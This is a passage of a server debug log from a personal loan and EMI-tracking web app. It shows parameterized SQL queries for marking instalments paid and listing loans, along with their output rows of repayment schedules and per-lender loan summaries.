    paid_on: '2022-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 54,
    loan_id: 9,
    due_date: '2022-08-07T18:30:00.000Z',
    paid_on: '2022-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 55,
    loan_id: 9,
    due_date: '2022-09-07T18:30:00.000Z',
    paid_on: '2022-09-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 56,
    loan_id: 9,
    due_date: '2022-10-07T18:30:00.000Z',
    paid_on: '2022-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 57,
    loan_id: 9,
    due_date: '2022-11-07T18:30:00.000Z',
    paid_on: '2022-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 58,
    loan_id: 9,
    due_date: '2022-12-07T18:30:00.000Z',
    paid_on: '2022-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 59,
    loan_id: 9,
    due_date: '2023-01-07T18:30:00.000Z',
    paid_on: '2023-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 60,
    loan_id: 9,
    due_date: '2023-02-07T18:30:00.000Z',
    paid_on: '2023-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 61,
    loan_id: 9,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 62,
    loan_id: 9,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 63,
    loan_id: 9,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 64,
    loan_id: 9,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 65,
    loan_id: 9,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 66,
    loan_id: 9,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 67,
    loan_id: 9,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 68,
    loan_id: 9,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 69,
    loan_id: 9,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 70,
    loan_id: 9,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 71,
    loan_id: 9,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 72,
    loan_id: 9,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 73,
    loan_id: 9,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 74,
    loan_id: 9,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 75,
    loan_id: 9,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 76,
    loan_id: 9,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 77,
    loan_id: 9,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 78,
    loan_id: 9,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 79,
    loan_id: 9,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 80,
    loan_id: 9,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 81,
    loan_id: 9,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 82,
    loan_id: 9,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 83,
    loan_id: 9,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 84,
    loan_id: 9,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 85,
    loan_id: 9,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 86,
    loan_id: 9,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 87,
    loan_id: 9,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 88,
    loan_id: 9,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 89,
    loan_id: 9,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 90,
    loan_id: 9,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 91,
    loan_id: 9,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 92,
    loan_id: 9,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 93,
    loan_id: 9,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 94,
    loan_id: 9,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 95,
    loan_id: 9,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 96,
    loan_id: 9,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 97,
    loan_id: 9,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 98,
    loan_id: 9,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 99,
    loan_id: 9,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 100,
    loan_id: 9,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 101,
    loan_id: 9,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 102,
    loan_id: 9,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 103,
    loan_id: 9,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 104,
    loan_id: 9,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 105,
    loan_id: 9,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 106,
    loan_id: 9,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 107,
    loan_id: 9,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 108,
    loan_id: 9,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 109,
    loan_id: 9,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 110,
    loan_id: 9,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 111,
    loan_id: 9,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  }
]
2026-03-03T17:31:50.512Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-03-03T17:31:50.512Z server-connect:app Executing action step identify
2026-03-03T17:31:50.512Z server-connect:app options: { provider: 'security' }
2026-03-03T17:31:50.512Z server-connect:output identity: 1
2026-03-03T17:31:50.512Z server-connect:app Executing action step restrict
2026-03-03T17:31:50.512Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-03T17:31:50.513Z server-connect:output restrict: undefined
2026-03-03T17:31:50.513Z server-connect:app Executing action step update
2026-03-03T17:31:50.513Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-03-03T17:31:50.514Z server-connect:output update: { affected: 1 }
2026-03-03T17:31:50.714Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-03T17:31:50.714Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-03-03T17:31:50.715Z server-connect:app Executing action step identify
2026-03-03T17:31:50.715Z server-connect:app options: { provider: 'security' }
2026-03-03T17:31:50.715Z server-connect:output identity: 1
2026-03-03T17:31:50.715Z server-connect:app Executing action step restrict
2026-03-03T17:31:50.715Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-03T17:31:50.715Z server-connect:app Executing action step identify
2026-03-03T17:31:50.715Z server-connect:app options: { provider: 'security' }
2026-03-03T17:31:50.715Z server-connect:output identity: 1
2026-03-03T17:31:50.715Z server-connect:app Executing action step restrict
2026-03-03T17:31:50.715Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-03T17:31:50.716Z server-connect:output restrict: undefined
2026-03-03T17:31:50.716Z server-connect:app Executing action step select
2026-03-03T17:31:50.716Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-03T17:31:50.716Z server-connect:output restrict: undefined
2026-03-03T17:31:50.716Z server-connect:app Executing action step custom
2026-03-03T17:31:50.717Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-03-03T17:31:50.717Z server-connect:output list: [
  {
    id: 52,
    loan_id: 9,
    due_date: '2022-06-07T18:30:00.000Z',
    paid_on: '2022-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 53,
    loan_id: 9,
    due_date: '2022-07-07T18:30:00.000Z',
    paid_on: '2022-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 54,
    loan_id: 9,
    due_date: '2022-08-07T18:30:00.000Z',
    paid_on: '2022-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 55,
    loan_id: 9,
    due_date: '2022-09-07T18:30:00.000Z',
    paid_on: '2022-09-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 56,
    loan_id: 9,
    due_date: '2022-10-07T18:30:00.000Z',
    paid_on: '2022-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 57,
    loan_id: 9,
    due_date: '2022-11-07T18:30:00.000Z',
    paid_on: '2022-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 58,
    loan_id: 9,
    due_date: '2022-12-07T18:30:00.000Z',
    paid_on: '2022-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 59,
    loan_id: 9,
    due_date: '2023-01-07T18:30:00.000Z',
    paid_on: '2023-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 60,
    loan_id: 9,
    due_date: '2023-02-07T18:30:00.000Z',
    paid_on: '2023-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 61,
    loan_id: 9,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 62,
    loan_id: 9,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 63,
    loan_id: 9,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 64,
    loan_id: 9,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 65,
    loan_id: 9,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 66,
    loan_id: 9,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 67,
    loan_id: 9,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 68,
    loan_id: 9,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 69,
    loan_id: 9,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 70,
    loan_id: 9,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 71,
    loan_id: 9,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 72,
    loan_id: 9,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 73,
    loan_id: 9,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 74,
    loan_id: 9,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 75,
    loan_id: 9,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 76,
    loan_id: 9,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 77,
    loan_id: 9,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 78,
    loan_id: 9,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 79,
    loan_id: 9,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 80,
    loan_id: 9,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 81,
    loan_id: 9,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 82,
    loan_id: 9,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 83,
    loan_id: 9,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 84,
    loan_id: 9,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 85,
    loan_id: 9,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 86,
    loan_id: 9,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 87,
    loan_id: 9,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 88,
    loan_id: 9,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 89,
    loan_id: 9,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 90,
    loan_id: 9,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 91,
    loan_id: 9,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 92,
    loan_id: 9,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 93,
    loan_id: 9,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 94,
    loan_id: 9,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 95,
    loan_id: 9,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 96,
    loan_id: 9,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 97,
    loan_id: 9,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 98,
    loan_id: 9,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 99,
    loan_id: 9,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 100,
    loan_id: 9,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 101,
    loan_id: 9,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 102,
    loan_id: 9,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 103,
    loan_id: 9,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 104,
    loan_id: 9,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 105,
    loan_id: 9,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 106,
    loan_id: 9,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 107,
    loan_id: 9,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 108,
    loan_id: 9,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 109,
    loan_id: 9,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 110,
    loan_id: 9,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 111,
    loan_id: 9,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  }
]
2026-03-03T17:31:50.718Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '14',
    total_remaining_amount: 210196,
    total_paid_amount: 690644,
    percentage_paid: '76.67'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '5',
    total_remaining_amount: 26680,
    total_paid_amount: 165416,
    percentage_paid: '86.11'
  }
]
2026-03-03T17:31:54.822Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-03-03T17:31:54.822Z server-connect:app Executing action step identify
2026-03-03T17:31:54.822Z server-connect:app options: { provider: 'security' }
2026-03-03T17:31:54.822Z server-connect:output identity: 1
2026-03-03T17:31:54.822Z server-connect:app Executing action step restrict
2026-03-03T17:31:54.822Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-03T17:31:54.822Z server-connect:output restrict: undefined
2026-03-03T17:31:54.822Z server-connect:app Executing action step custom
2026-03-03T17:31:54.823Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-03-03T17:31:54.824Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '14',
    total_remaining_amount: 210196,
    total_paid_amount: 690644,
    percentage_paid: '76.67'
  },
  {
    id: 10,
